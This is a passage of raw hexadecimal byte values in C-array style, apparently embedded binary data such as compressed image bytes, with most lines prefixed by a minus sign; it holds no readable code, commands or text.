0x4d, 0x0d, 0x09, 0x1f, -0x73, 0x1f, 0x28, 0xea, 0x6e, 0xcc, 0xe7, 0x38, 0xca, 0x4e, 0xfb, 0x27, 0x78, 0x3f, 0x69, 0x64, -0xec, 0x8c, 0xd2, 0xa2, 0x95, 0x9e, 0x2c, 0x24, 0xae, 0x39, 0x65, 0xdc, 0xd7, 0x2f, 0xf8, 0xfc, -0xbc, 0x51, 0x7a, 0xe5, 0x25, 0xeb, 0x97, 0xde, 0xcf, 0x7b, 0x9f, 0x8c, 0x4b, 0x7b, 0x96, 0x5b, -0x33, 0xd5, 0xca, 0x5f, 0x92, 0xa1, 0xa0, 0x8b, 0x8d, 0x81, 0xdf, 0xac, 0x72, 0x9b, 0x81, 0x41, -0x44, 0x79, 0x56, 0x3e, 0x48, 0xb1, 0x23, 0x94, 0x01, 0x36, 0x87, 0xda, 0x26, 0xac, 0xc9, 0x56, -0xc4, 0x93, 0x71, 0xab, 0xa1, 0x11, 0x20, 0xd4, 0x13, 0xe6, 0x88, 0xe4, 0x7c, 0x9d, 0x6b, 0x80, -0xe2, 0x09, 0x04, 0x01, 0xc1, 0xa9, 0x00, 0x67, 0x9d, 0x04, 0x7d, 0xf4, 0x76, 0x43, 0xf6, 0x68, -0xe6, 0x9f, 0xac, 0xc8, 0x6f, 0x20, 0x92, 0x52, 0x3a, 0xec, 0x22, 0xeb, 0x82, 0x87, 0x02, 0xa6, -0x08, 0x9d, 0x70, 0x11, 0xd6, 0x22, 0x5c, 0x83, 0x33, 0xcc, 0x61, 0xfd, 0xbf, 0x4e, 0xff, 0x00, -0xb1, 0xd3, 0xf3, 0x31, 0x60, 0x70, 0x09, 0xb6, 0xe6, 0x00, 0x49, 0x25, 0x7b, 0x08, 0x01, 0x72, -0x49, 0x2b, 0x9c, 0x68, 0x5f, 0xf5, 0xc4, 0xfc, 0xc4, 0x01, 0xa8, 0x28, 0x9b, 0xec, 0x7a, 0x0f, -0x94, 0x66, 0x01, 0xad, 0x5d, 0xf0, 0x00, 0xd4, 0xab, 0xde, 0xf0, 0x01, 0x40, 0x02, 0x00, 0x10, -0x01, 0x15, 0x00, 0x6c, 0x4c, 0x00, 0x35, 0x27, 0xbe, 0x20, 0x03, 0x5a, 0x7b, 0xe2, 0x40, 0x35, -0xa7, 0xbe, 0x1b, 0x80, 0xbb, 0x4f, 0x44, 0x37, 0x01, 0x15, 0x93, 0xca, 0x00, 0x1a, 0x95, 0xdf, -0x00, 0x25, 0x4b, 0x29, 0x20, 0xf7, 0xc0, 0x06, 0x95, 0x95, 0x72, 0x26, 0x00, 0x0a, 0xbe, 0x93, -0xbf, 0x48, 0x01, 0xda, 0x74, 0xb6, 0x2d, 0xc4, 0x14, 0xd5, 0xcb, 0xae, 0xa8, 0x87, 0xa4, 0x68, -0xe8, 0xed, 0x12, 0xca, 0x80, 0x49, 0x48, 0xb1, 0xeb, 0xcd, 0x56, 0x17, 0xb5, 0xe3, 0x49, 0xca, -0x94, 0x55, 0xd2, 0xb3, 0x91, 0x54, 0xa6, 0xf9, 0x7b, 0x22, 0x3a, 0x26, 0x12, 0x4e, 0xab, 0x0b, -0x46, 0x6d, 0x58, 0xb0, 0x4b, 0x75, 0x2a, 0x51, 0x20, 0x6d, 0x00, 0x16, 0xb1, 0xdc, 0x60, 0x02, -0x0e, 0x11, 0x7b, 0x1b, 0x40, 0x03, 0xb4, 0xdf, 0x7f, 0x7c, 0x00, 0x61, 0xc1, 0xd0, 0x98, 0x01, -0x25, 0x4a, 0x26, 0xf7, 0xf8, 0xc0, 0x06, 0x56, 0x2d, 0x6e, 0xb0, 0x01, 0x5c, 0xf7, 0x98, 0x00, -0xb5, 0x5f, 0xef, 0xaf, 0xed, 0x80, 0x04, 0x00, 0x2f, 0x00, 0x08, 0x01, 0x2e, 0x79, 0x86, 0x00, -0xad, 0xe2, 0x93, 0xa9, 0xa2, 0xaf, 0x4c, 0x17, 0x04, 0xa7, 0x63, 0xc5, 0xde, 0x15, 0x57, 0x07, -0xfb, 0x0a, 0x73, 0x3d, 0x56, 0xe5, 0x85, 0x26, 0x8f, 0xc2, 0x2b, 0x53, 0xd4, 0x65, 0xe3, 0xc9, -0xf3, 0x9b, 0xc0, 0x6d, 0xe1, 0x11, 0xc8, 0x5f, 0x07, 0x8f, 0x15, 0x38, 0x8b, 0x37, 0xb8, 0x86, -0x35, 0xaf, 0xa1, 0xea, 0xb8, 0x29, 0xda, 0x54, 0xb1, 0xa1, 0xd3, 0x7c, 0x69, 0xc0, 0xfa, 0xa6, -0x65, 0xdd, 0x05, 0x49, 0xd4, 0x2c, 0x9d, 0x2d, 0xab, 0x71, 0x7d, 0xed, 0xb6, 0xf1, 0xcf, 0x19, -0x25, 0x16, 0xbc, 0xcd, 0x9a, 0xf4, 0x93, 0x3e, 0xb4, 0x31, 0xf5, 0x53, 0x3e, 0x09, 0x45, 0xa1, -0x26, 0x6f, 0x1e, 0xe3, 0x59, 0x75, 0x1e, 0x69, 0x73, 0x02, 0xcd, 0xaa, 0xde, 0xd4, 0x82, 0x0f, -0xb2, 0x2a, 0x58, 0x8f, 0x5c, 0xfa, 0xa5, 0x4f, 0x02, 0x9e, 0x2d, 0x93, 0xf1, 0x5c, 0x4b, 0x9b, -0x75, 0xb7, 0x5b, 0xd6, 0x14, 0x19, 0x9c, 0xcb, 0x8a, 0x8b, 0x80, 0x28, 0x1d, 0x95, 0x6e, 0xc1, -0x42, 0xfe, 0x98, 0xe8, 0xa1, 0x8a, 0xaf, 0x86, 0x96, 0xaa, 0x72, 0x6b, 0xdc, 0xec, 0x70, 0xe3, -0x72, 0xdc, 0x06, 0x63, 0x4d, 0x43, 0x13, 0x4a, 0x33, 0x49, 0xde, 0xd2, 0x8a, 0x92, 0xba, 0xef, -0x67, 0xdf, 0xda, 0x2e, 0x9f, 0xf5, 0x45, 0x7e, 0x05, 0x29, 0xc5, 0x76, 0x8e, 0xf1, 0x45, 0x55, -0x97, 0xea, 0x44, 0xc6, 0x03, 0xac, 0x0f, 0x94, 0xa9, 0x8e, 0x8f, 0xef, 0x1a, 0xd6, 0xe0, 0xb7, -0xd8, 0xa9, 0x5e, 0xe5, 0xa3, 0x0d, 0x7d, 0x51, 0x67, 0x81, 0x31, 0xbd, 0xa5, 0x78, 0xbf, 0x62, -0x58, 0x8e, 0x6a, 0x9c, 0xc1, 0x75, 0xa4, 0x5b, 0xff, 0x00, 0xa3, 0x8e, 0x5a, 0xb8, 0x8a, 0xb5, -0xbd, 0x66, 0x6f, 0x4e, 0x94, 0x29, 0xf0, 0x8b, 0x0c, 0xa7, 0xd5, 0x12, 0x78, 0x19, 0x27, 0x14, -0x12, 0xcf, 0x1c, 0x94, 0x44, 0xfa, 0x5d, 0xc3, 0xb5, 0x66, 0xc7, 0xbd, 0x52, 0x80, 0x46, 0x26, -0xa7, 0xc8, 0x2f, 0xaa, 0x97, 0xe3, 0xbb, 0x84, 0x6e, 0x39, 0xf1, 0xf6, 0x4b, 0x56, 0x78, 0x4e, -0xcf, 0x0a, 0x56, 0x36, 0x97, 0xc3, 0x74, 0x6a, 0xeb, 0x55, 0xc7, 0x29, 0x6d, 0x3e, 0x8f, 0x13, -0x5b, 0xee, 0xc8, 0x96, 0x82, 0xbb, 0x56, 0xd1, 0xba, 0x83, 0x4e, 0x5a, 0xd7, 0xf3, 0x4d, 0xed, -0xb5, 0xc0, 0xf9, 0x68, 0xfa, 0x3f, 0xb5, 0x54, 0x35, 0x36, 0xab, 0x29, 0x34, 0xd4, 0x90, 0x7a, -0x83, 0xdb, 0xbf, 0xbc, 0x00, 0x15, 0x3b, 0x52, 0x9c, 0x75, 0x0e, 0x2e, 0x69, 0xf7, 0x55, 0xe3, -0x6c, 0x21, 0x4e, 0x25, 0x3d, 0xa1, 0x2d, 0x85, 0x01, 0x65, 0x12, 0x6e, 0x13, 0x60, 0x05, 0xfa, -0x6d, 0x10, 0xe2, 0x93, 0xb2, 0xf3, 0x17, 0xbc, 0x6e, 0x7e, 0x9b, 0xf8, 0x25, 0x5a, 0x93, 0x93, -0x78, 0x7d, 0x57, 0x23, 0xed, 0x06, 0xbf, 0x24, 0x47, 0x73, 0x47, 0x2b, 0x5b, 0x1e, 0x98, 0xa0, -0xb9, 0x76, 0x53, 0xb9, 0x88, 0x2a, 0x76, 0xca, 0xbc, 0x9d, 0x8e, 0xf0, 0x01, 0x25, 0x44, 0x1d, -0xcc, 0x00, 0x44, 0x82, 0xbb, 0x88, 0xa3, 0xe4, 0xba, 0xe0, 0x7d, 0xa2, 0x34, 0x90, 0x7a, 0x08, -0x82, 0x4c, 0x57, 0xc1, 0xd8, 0xdf, 0x8d, 0x67, 0xfe, 0x6e, 0xd4, 0xb9, 0xf6, 0x72, 0x74, 0x56, -0x07, 0xa2, 0xcf, 0xd4, 0xcc, 0x6b, 0x47, 0x82, 0x95, 0x3b, 0x1e, 0x65, 0xca, 0x2c, 0xee, 0xca, -0xae, 0x1e, 0xfc, 0x2e, 0x39, 0xb1, 0x99, 0x19, 0xcd, 0x8d, 0xe4, 0xb0, 0xed, 0x06, 0x5a, 0x61, -0xc4, 0x4c, 0x54, 0xe7, 0xca, 0x83, 0x68, 0x52, 0x97, 0x3e, 0x12, 0x9f, 0x24, 0x12, 0x49, 0x3b, -0x6c, 0x22, 0x1d, 0xfe, 0xd0, 0xbd, 0xc6, 0x51, 0x5b, 0x3f, 0x87, 0xe6, 0x7a, 0xd9, 0xdf, 0x0c, -0xf7, 0x83, 0x19, 0x97, 0xcb, 0x07, 0x8b, 0x7c, 0x3f, 0xa8, 0x1b, 0x12, 0x25, 0xa6, 0x88, 0xf7, -0x86, 0x63, 0x6b, 0x58, 0xad, 0xcf, 0x08, 0x62, 0xde, 0x2f, 0xf8, 0x6a, 0xc5, 0x79, 0x3f, 0x8d, -0xa8, 0x74, 0x1c, 0xe0, 0xa4, 0xcc, 0x4d, 0xcf, 0x22, 0xba, 0xa9, 0x46, 0x03, 0x8a, 0x4a, 0x9e, -0x0f, 0x3d, 0x32, 0xa6, 0x82, 0x75, 0x24, 0x5c, 0xa9, 0x2b, 0x4d, 0xbd, 0x71, 0xb2, 0x92, 0xd2, -0x56, 0xcc, 0xfa, 0x8b, 0xc2, 0xee, 0x66, 0x65, 0xbe, 0x31, 0xc8, 0xfc, 0x1b, 0x2d, 0x84, 0xb1, -0xed, 0x1a, 0xa4, 0xeb, 0x78, 0x5a, 0x9e, 0x87, 0x58, 0x90, 0xa9, 0xb4, 0xf2, 0xd0, 0xa4, 0xcb, -0x36, 0x14, 0x92, 0x94, 0xa8, 0x90, 0x41, 0xd8, 0x83, 0x18, 0x1a, 0x2b, 0x1a, 0x4e, 0xfd, 0x05, -0xe1, 0x61, 0x74, 0x24, 0xad, 0x29, 0x37, 0x2a, 0x03, 0x6e, 0xf8, 0x94, 0x88, 0x6d, 0x14, 0x4c, -0xbb, 0x98, 0x5c, 0xb6, 0x61, 0xe3, 0xba, 0xa4, 0xa4, 0xec, 0xba, 0x0b, 0x38, 0xa1, 0xa0, 0xa0, -0xf9, 0xf2, 0x48, 0x55, 0x2e, 0x40, 0x73, 0xb8, 0xb7, 0x28, 0xab, 0x86, 0xb5, 0x66, 0x45, 0x39, -0x69, 0x9b, 0x6b, 0xfa, 0xd9, 0x1e, 0x76, 0xf0, 0xa5, 0xe6, 0xb5, 0x4b, 0x2b, 0xab, 0xf9, 0x55, -0x9d, 0xb4, 0xe6, 0x69, 0x73, 0xcf, 0x51, 0xab, 0xb5, 0x0a, 0x7a, 0xd8, 0x44, 0xc9, 0x1a, 0xd1, -0x35, 0x29, 0x6b, 0x28, 0x8d, 0xec, 0x3b, 0x3f, 0x7c, 0x23, 0x45, 0x45, 0x7b, 0xcb, 0x4a, 0xae, -0xa9, 0x1a, 0xf7, 0x83, 0x9b, 0x32, 0xe6, 0xf3, 0x7b, 0x29, 0xaa, 0x39, 0x8b, 0x3b, 0x4b, 0x6a, -0x4d, 0xca, 0x9d, 0x4a, 0xea, 0x97, 0x65, 0xcd, 0x49, 0x46, 0x90, 0x51, 0xb1, 0x3b, 0xfd, 0xed, -0xfd, 0xb1, 0x96, 0x23, 0x66, 0x8d, 0xe8, 0x36, 0xd3, 0x35, 0xcc, 0xa2, 0x04, 0x61, 0xca, 0x82, -0x88, 0xe7, 0x8a, 0x6b, 0x3f, 0xd2, 0x33, 0x11, 0x8b, 0x2f, 0x1e, 0x1f, 0xbc, 0xb4, 0xa3, 0x62, -0x4f, 0xb6, 0x2a, 0xcb, 0xa3, 0x3c, 0xe1, 0x8a, 0xc7, 0x2e, 0xaa, 0x5f, 0xfb, 0xf3, 0x89, 0x7f, -0xa6, 0xa7, 0x22, 0xd2, 0x5e, 0x91, 0x9d, 0x17, 0x68, 0xfc, 0x59, 0xa1, 0x44, 0x1a, 0x47, 0x93, -0x13, 0xe3, 0x71, 0xc5, 0x35, 0x85, 0xb0, 0xfb, 0xa8, 0x49, 0x52, 0x93, 0x5a, 0x16, 0x48, 0xea, -0x6d, 0xca, 0x36, 0xc3, 0x5e, 0xec, 0xca, 0xba, 0xba, 0x30, 0xfa, 0xf2, 0x8b, 0xaf, 0xb6, 0xb2, -0x37, 0x2d, 0xa7, 0xe5, 0x1d, 0xaf, 0x94, 0x71, 0x9c, 0x79, 0xc9, 0x99, 0x59, 0x42, 0x9f, 0x1a, -0x99, 0x6d, 0xbd, 0x47, 0xc9, 0xed, 0x1c, 0x02, 0xfe, 0xf8, 0x36, 0x0c, 0xca, 0x72, 0x6e, 0x49, -0x5c, 0x58, 0x49, 0x14, 0xcd, 0xb4, 0x52, 0xac, 0xba, 0x9a, 0xdc, 0x38, 0x3f, 0xdf, 0xf2, 0xf1, -0x4f, 0xdf, 0x21, 0xef, 0x33, 0x40, 0x57, 0x66, 0xa4, 0x85, 0x21, 0xc0, 0xad, 0xba, 0x18, 0x9b, -0x12, 0x7a, 0x9c, 0x10, 0x01, 0x36, 0x04, 0x24, 0x6c, 0x92, 0x9b, 0x47, 0x29, 0xd0, 0x3a, 0x97, -0x3e, 0xcc, 0x0b, 0x83, 0x60, 0x2e, 0x2c, 0x3d, 0xb0, 0x04, 0xca, 0x16, 0xaf, 0xa5, 0x1a, 0x27, -0x7d, 0xf6, 0xd8, 0xf7, 0x6d, 0x12, 0x43, 0x35, 0x04, 0xdb, 0x48, 0xb4, 0x71, 0xbe, 0x4e, 0xc5, -0xc0, 0x70, 0x24, 0x10, 0x07, 0x0a, 0xa5, 0xb4, 0xfb, 0xc4, 0xf7, 0xc7, 0x64, 0x1a, 0xe9, 0x23, -0x09, 0xad, 0xd9, 0x1d, 0x56, 0x29, 0xf2, 0xad, 0xcb, 0x9c, 0x4e, 0xe6, 0x45, 0x72, 0xb0, 0x40, -0xa9, 0xb8, 0x94, 0x9d, 0xb5, 0x7e, 0x68, 0x9b, 0x5d, 0x03, 0x32, 0xcc, 0x7d, 0xb1, 0x1e, 0x9f, -0xf3, 0x74, 0x7c, 0xcc, 0x58, 0x76, 0x2b, 0xe5, 0x69, 0xb1, 0x10, 0x02, 0x42, 0x88, 0xe5, 0x00, -0x39, 0x21, 0x71, 0x3a, 0xc9, 0x1f, 0xb6, 0xa7, 0xe7, 0x00, 0x69, 0xda, 0xf6, 0x04, 0xf7, 0x08, -0xcf, 0x60, 0x24, 0xac, 0x9e, 0x50, 0x01, 0x85, 0xf7, 0x88, 0x00, 0x17, 0x00, 0xfe, 0xb8, 0x01, -0x25, 0xdd, 0x3b, 0x18, 0x00, 0x76, 0xfe, 0x88, 0x8b, 0x00, 0xb5, 0xa4, 0x8b, 0xea, 0x1e, 0xf8, -0x90, 0x24, 0xb9, 0xbe, 0xc6, 0xd0, 0x01, 0x17, 0x08, 0x1e, 0x74, 0x00, 0x03, 0xa4, 0xf3, 0x57, -0xc2, 0x00, 0x05, 0x60, 0xf3, 0x22, 0x00, 0x48, 0x74, 0x88, 0x00, 0xfb, 0x5e, 0xb7, 0xdf, 0xd5, -0x00, 0x12, 0x9c, 0x51, 0xeb, 0xf0, 0x80, 0x09, 0x2b, 0x52, 0x4d, 0xc4, 0x00, 0x65, 0xe5, 0x91, -0x6b, 0xc0, 0x11, 0x66, 0x69, 0xe8, 0x99, 0x73, 0xb4, 0xed, 0x9d, 0x41, 0x22, 0xcb, 0x08, 0x70, -0xa4, 0x2c, 0x77, 0x10, 0x39, 0x88, 0xd6, 0x15, 0x1c, 0x55, 0x8a, 0xb8, 0x26, 0x3e, 0xba, 0xfc, -0xd3, 0xd4, 0x56, 0xf0, 0xd8, 0xc3, 0x6c, 0x21, 0x4c, 0xbc, 0x57, 0xf4, 0x88, 0x5f, 0x96, 0xb4, -0xef, 0xe4, 0xda, 0xde, 0xce, 0x7d, 0x39, 0x45, 0x9c, 0x21, 0x7d, 0x7a, 0xbe, 0x01, 0xca, 0x56, -0xd3, 0x6f, 0x88, 0x27, 0x6b, 0xc9, 0xa9, 0x53, 0xa5, 0x29, 0x92, 0x98, 0x64, 0x4a, 0x3d, 0x2a, -0x85, 0x09, 0x89, 0xb0, 0xb1, 0xf6, 0x73, 0xd3, 0xa5, 0xfd, 0x3b, 0xf2, 0xe5, 0x11, 0xa1, 0x45, -0xb9, 0x6a, 0xbd, 0xff, 0x00, 0x00, 0xe7, 0x26, 0x92, 0xb5, 0x83, 0xab, 0x62, 0x16, 0xaa, 0xc2, -0x5c, 0xd3, 0xf0, 0xaa, 0x64, 0x7c, 0x55, 0x90, 0x97, 0x93, 0xda, 0x0f, 0xb3, 0xa8, 0x11, 0xbe, -0xc3, 0x97, 0xa4, 0xef, 0xbf, 0xa2, 0x0a, 0x9c, 0x61, 0xcc, 0xaf, 0x70, 0xe6, 0xe4, 0x95, 0x95, -0x85, 0x54, 0xb1, 0x34, 0xbd, 0x46, 0xac, 0x8a, 0xcc, 0x9e, 0x11, 0x4c, 0xb4, 0xbb, 0x3d, 0x9e, -0xb9, 0x0d, 0x63, 0xec, 0xb6, 0x37, 0x57, 0x21, 0x61, 0x71, 0xb7, 0x2e, 0x9b, 0xc4, 0x2a, 0x71, -0x8f, 0xa2, 0xe5, 0x7f, 0x68, 0x73, 0x6d, 0xde, 0xc1, 0xaf, 0x13, 0xca, 0xaf, 0x10, 0x8c, 0x44, -0xde, 0x12, 0x09, 0x92, 0x0e, 0x82, 0x69, 0xba, 0x86, 0xe9, 0xd3, 0x6e, 0xeb, 0x73, 0xde, 0xdc, -0xa1, 0xd3, 0x8d, 0xb4, 0x6a, 0xdf, 0xcc, 0x6b, 0xbb, 0xd5, 0x6d, 0xbc, 0x81, 0x23, 0x89, 0x98, -0x93, 0xac, 0xaa, 0xb9, 0x37, 0x84, 0x03, 0xf2, 0xae, 0xad, 0x7a, 0x69, 0xfa, 0xc7, 0xd8, 0xef, -0xcb, 0x98, 0xb1, 0xb7, 0xe7, 0xf4, 0x41, 0xd3, 0x8c, 0x96, 0x95, 0x2b, 0x3f, 0x30, 0xa6, 0xd3, -0xd5, 0x6f, 0x80, 0x9a, 0x56, 0x22, 0x6a, 0x92, 0xfb, 0xf3, 0x55, 0x1c, 0x28, 0x99, 0xc4, 0x4c, -0x34, 0xa0, 0xd3, 0x1d, 0xa0, 0xfb, 0x01, 0x26, 0xe3, 0x98, 0xe9, 0xca, 0xfc, 0xf6, 0x83, 0xa7, -0x19, 0x71, 0x2b, 0x58, 0x29, 0xb8, 0xdd, 0xb5, 0x70, 0xa9, 0xf5, 0xe4, 0x53, 0x24, 0x66, 0xe4, -0xa7, 0x70, 0xc0, 0x9c, 0x7a, 0x6d, 0x80, 0x99, 0x79, 0x82, 0xb0, 0x3c, 0x5d, 0x5b, 0xef, 0xb8, -0xf4, 0x83, 0xb6, 0xfb, 0x5a, 0x27, 0xa7, 0x19, 0xb4, 0xd4, 0xad, 0x61, 0xad, 0xc7, 0x66, 0xae, -0x06, 0x6b, 0xc8, 0x95, 0xa4, 0x4c, 0x50, 0xde, 0xc3, 0x09, 0x7a, 0x65, 0xf7, 0x52, 0xa6, 0x6a, -0x3a, 0xc7, 0xd8, 0x93, 0xb5, 0xc7, 0x2b, 0xf4, 0x3c, 0xb9, 0xde, 0x1a, 0x22, 0xda, 0x96, 0xaf, -0x80, 0x52, 0x69, 0x5a, 0xc2, 0x55, 0x88, 0x5a, 0x72, 0x8a, 0x9a, 0x08, 0xc3, 0x21, 0x33, 0x49, -0x98, 0x2b, 0x35, 0x2d, 0x43, 0xca, 0x47, 0x77, 0x2b, 0xfa, 0x2d, 0xcb, 0xac, 0x3a, 0x71, 0x4f, -0x5e, 0xad, 0xbc, 0x83, 0x93, 0xb6, 0x9b, 0x7c, 0x41, 0x37, 0x5f, 0x13, 0xd4, 0xc9, 0x5a, 0x44, -0xb6, 0x19, 0x12, 0xd3, 0x12, 0xc1, 0x5d, 0xbc, 0xe8, 0x58, 0x3d, 0xb7, 0x3b, 0x74, 0xbf, 0xa7, -0x7e, 0x5d, 0x21, 0xd3, 0x8c, 0x5b, 0x93, 0x95, 0xd3, 0xec, 0x35, 0x39, 0x24, 0xad, 0x60, 0xaa, -0xb8, 0x89, 0xba, 0xbb, 0x12, 0xad, 0x53, 0xf0, 0xb8, 0x91, 0x5c, 0xab, 0x1a, 0x5f, 0x57, 0x68, -0x3e, 0xce, 0xad, 0xb7, 0xd8, 0x7a, 0x0e, 0xe7, 0x7d, 0xfd, 0x10, 0x54, 0xe3, 0x1e, 0x65, 0x7b, -0xfe, 0x01, 0xcd, 0xcb, 0xb5, 0x85, 0xd5, 0x31, 0x3c, 0xbd, 0x4a, 0xa6, 0xdd, 0x56, 0x9f, 0x84, -0x53, 0x29, 0x2e, 0xc0, 0x6c, 0x39, 0x25, 0xac, 0x7d, 0x9a, 0xc6, 0xea, 0xdc, 0x0b, 0x0b, 0x8d, -0xaf, 0xed, 0x30, 0x54, 0xa3, 0x1f, 0x45, 0xca, 0xf7, 0x21, 0xcd, 0xc9, 0xdd, 0x20, 0xa6, 0xb1, -0x4c, 0xa3, 0xf5, 0xf1, 0x88, 0xd9, 0xc2, 0x29, 0x44, 0x9a, 0x5c, 0x49, 0x55, 0x33, 0x58, 0xf2, -0x80, 0x16, 0x3d, 0x2d, 0xcf, 0x7b, 0x72, 0xf7, 0xc3, 0xa7, 0x14, 0xb4, 0x39, 0x6f, 0xe6, 0x4e, -0xb6, 0xe5, 0x7b, 0x15, 0xbc, 0x41, 0x89, 0xe5, 0x65, 0xeb, 0x2e, 0x57, 0xde, 0xc2, 0x21, 0xc9, -0x47, 0x16, 0xb2, 0x9a, 0x70, 0x50, 0x3d, 0x98, 0x23, 0x6e, 0x62, 0xc7, 0x7d, 0xed, 0xcb, 0x7f, -0x44, 0x3a, 0x71, 0x71, 0xd1, 0xab, 0x7f, 0x32, 0x54, 0x9d, 0xf5, 0x35, 0xb7, 0x91, 0xe2, 0xbf, -0x0a, 0x85, 0x55, 0xb6, 0x78, 0x26, 0xcd, 0x87, 0xa6, 0x28, 0x60, 0xa2, 0x67, 0x07, 0xce, 0x86, -0x93, 0xaa, 0xfe, 0x2c, 0x4e, 0xe0, 0xef, 0xce, 0xc3, 0x68, 0xca, 0xb4, 0x62, 0xe0, 0xec, 0xf8, -0xfc, 0x4b, 0xc2, 0x4f, 0x56, 0xeb, 0x93, 0xf3, 0xdf, 0x50, 0xa9, 0x94, 0x26, 0xca, 0x26, 0xfa, -0x79, 0x08, 0xe2, 0x3a, 0x8f, 0xa8, 0x3c, 0x0c, 0xe4, 0x9f, 0x00, 0x98, 0xe7, 0x84, 0xfc, 0x11, -0x58, 0xc7, 0x58, 0x17, 0x2d, 0x6a, 0x58, 0x89, 0xfa, 0x4e, 0xaa, 0xe3, 0xd5, 0x47, 0xa5, 0x57, -0x38, 0xa9, 0x8e, 0xd9, 0xcd, 0x41, 0xd0, 0xb5, 0xeb, 0x4a, 0x80, 0x00, 0x58, 0x81, 0xb5, 0xa3, -0x68, 0xa8, 0xb8, 0xab, 0x98, 0x4e, 0x52, 0x52, 0xd8, 0xf3, 0xf6, 0x30, 0xe1, 0x43, 0x2a, 0x73, -0x8f, 0xc3, 0x3d, 0x49, 0xe1, 0x9f, 0x24, 0xb2, 0xfa, 0x94, 0xfe, 0x13, 0xa8, 0xcc, 0x53, 0x1c, -0x9d, 0xa3, 0xd1, 0x1d, 0x2a, 0x92, 0x97, 0x40, 0xa5, 0x34, 0xfc, 0xd2, 0xd4, 0x5a, 0x51, 0xd0, -0x84, 0xaf, 0x52, 0xd6, 0x01, 0x16, 0x37, 0x1b, 0x72, 0x8c, 0xa7, 0x28, 0xc1, 0xb6, 0xf8, 0x37, -0xa5, 0x09, 0xd5, 0xb4, 0x57, 0x2c, 0xf5, 0x97, 0x1a, 0xfe, 0x0b, 0x7e, 0x0d, 0x78, 0x69, 0x6a, -0x6d, 0xe4, 0xe4, 0xbd, 0x2e, 0x6e, 0x91, 0x53, 0xc3, 0x55, 0x2f, 0xa3, 0x6a, 0xcd, 0xa9, 0xe9, -0x77, 0xa5, 0xa7, 0x59, 0x92, 0x75, 0x62, 0xe5, 0x2e, 0x6c, 0x42, 0x80, 0x5a, 0x4f, 0x22, 0x05, -0x88, 0x36, 0xdf, 0x1c, 0x36, 0x2a, 0x9e, 0x27, 0x52, 0x4a, 0xcd, 0x1d, 0x78, 0xec, 0x05, 0x7c, -0x0b, 0x8b, 0x93, 0xba, 0x91, 0xe1, 0xef, 0x03, 0xf7, 0x0b, 0xb9, 0x15, 0xc5, 0x26, 0x29, 0xc6, -0xac, 0x67, 0x8e, 0x0d, 0x72, 0xb4, 0xd5, 0x16, 0x95, 0x22, 0xe5, 0x3e, 0x59, 0x13, 0xef, 0x32, -0x1b, 0x5b, 0xae, 0xb8, 0x16, 0xa3, 0xd9, 0x29, 0x25, 0x5b, 0x21, 0x23, 0x7b, 0x81, 0x1d, 0x30, -0x49, 0x9c, 0x15, 0x24, 0xd2, 0x56, 0x3d, 0x03, 0xe1, 0x15, 0xf0, 0x6e, 0xf0, 0x85, 0x91, 0xfc, -0x10, 0xe3, 0x8c, 0xea, 0xcb, 0x1c, 0xb4, 0x9b, 0xa5, 0x62, 0x2a, 0x04, 0xed, 0x20, 0x53, 0xe7, -0x05, 0x62, 0x69, 0xc6, 0xd2, 0x89, 0x8a, 0x8b, 0x32, 0xee, 0xa5, 0x4d, 0xb8, 0xb5, 0x25, 0x40, -0xb6, 0xea, 0xad, 0x71, 0x70, 0x40, 0x23, 0x94, 0x4c, 0xe2, 0x92, 0xba, 0x22, 0x13, 0x72, 0x76, -0x3e, 0x5d, 0x73, 0xb5, 0xe3, 0x23, 0x53, 0xaa, 0xb6, 0x14, 0xba, 0x6d, 0x10, 0x84, 0x92, 0x96, -0xe9, 0xe9, 0xd4, 0x01, 0xff, 0x00, 0x2e, 0xff, 0x00, 0xe9, 0x87, 0x70, 0x4a, 0xa9, 0xd2, 0x69, -0x93, 0xb3, 0xcd, 0xb5, 0x41, 0x90, 0x99, 0x69, 0xa2, 0xec, 0xba, 0x92, 0x89, 0x89, 0xe4, 0xa9, -0x61, 0x69, 0x09, 0xd4, 0xb5, 0x29, 0x28, 0x48, 0x20, 0xa8, 0x15, 0x68, 0x00, 0x6c, 0xa0, 0x2f, -0xb5, 0xcc, 0x3b, 0xf7, 0x25, 0xb5, 0x63, 0xf4, 0xbf, 0xc1, 0x52, 0x56, 0x32, 0x72, 0x80, 0x08, -0xfd, 0x80, 0xd6, 0xdf, 0xc1, 0x11, 0xdd, 0x7d, 0x8e, 0x5e, 0xc7, 0xa5, 0xf0, 0xff, 0x00, 0xdc, -0x07, 0xaa, 0x20, 0xa1, 0xdb, 0x82, 0xe0, 0x04, 0x56, 0x01, 0xb4, 0x00, 0x48, 0x56, 0xa2, 0x6d, -0x15, 0x91, 0x78, 0xfa, 0xa4, 0x86, 0xc0, 0x27, 0xca, 0xee, 0x8a, 0x86, 0x63, 0x9e, 0x0d, 0x16, -0xd2, 0xfe, 0x61, 0xe6, 0xfd, 0x46, 0xfb, 0xaa, 0xaf, 0x22, 0xcd, 0xfb, 0xf4, 0x2e, 0x74, 0xdb, -0xf9, 0x71, 0xad, 0x27, 0x68, 0x94, 0x9f, 0x28, 0xf1, 0x16, 0x3e, 0xe1, 0x9b, 0x04, 0xf1, 0x7f, -0xc7, 0xbf, 0x10, 0x99, 0x1b, 0x8e, 0xe9, 0x69, 0x9c, 0x62, 0xa5, 0x45, 0xa8, 0x39, 0x4e, 0xb1, -0x21, 0x4c, 0x4e, 0xb4, 0x2a, 0x0e, 0x4b, 0xba, 0x92, 0x08, 0xb2, 0x92, 0xea, 0x53, 0xeb, 0x1b, -0x44, 0x3b, 0xf5, 0x97, 0xbb, 0xf3, 0x28, 0xbd, 0x57, 0xef, 0x5f, 0x99, 0x81, 0xf0, 0x8d, 0x95, -0x59, 0x5b, 0x8a, 0xf2, 0x02, 0x81, 0x3b, 0x5b, 0xcb, 0xea, 0x04, 0xd4, 0xdc, 0xbb, 0x2a, 0x94, -0x9a, 0x7d, 0xfa, 0x33, 0x0a, 0x71, 0xd5, 0x34, 0xb2, 0x9d, 0x4b, 0x25, 0x1b, 0x9d, 0x3a, 0x6e, -0x7a, 0xc6, 0xe9, 0x19, 0xb6, 0xee, 0x79, 0x73, 0x30, 0xf2, 0x8f, 0x09, 0x33, 0x59, 0xae, 0x2e, -0x52, 0x8d, 0x2a, 0xcf, 0x67, 0x50, 0x9b, 0x0d, 0x29, 0x96, 0x12, 0x82, 0xd8, 0x0e, 0xae, 0xd6, -0xd3, 0x6b, 0x5a, 0x21, 0xc5, 0x58, 0xba, 0x6c, 0xf4, 0x6e, 0x09, 0xe0, 0xa7, 0x04, 0xcb, 0x51, -0x28, 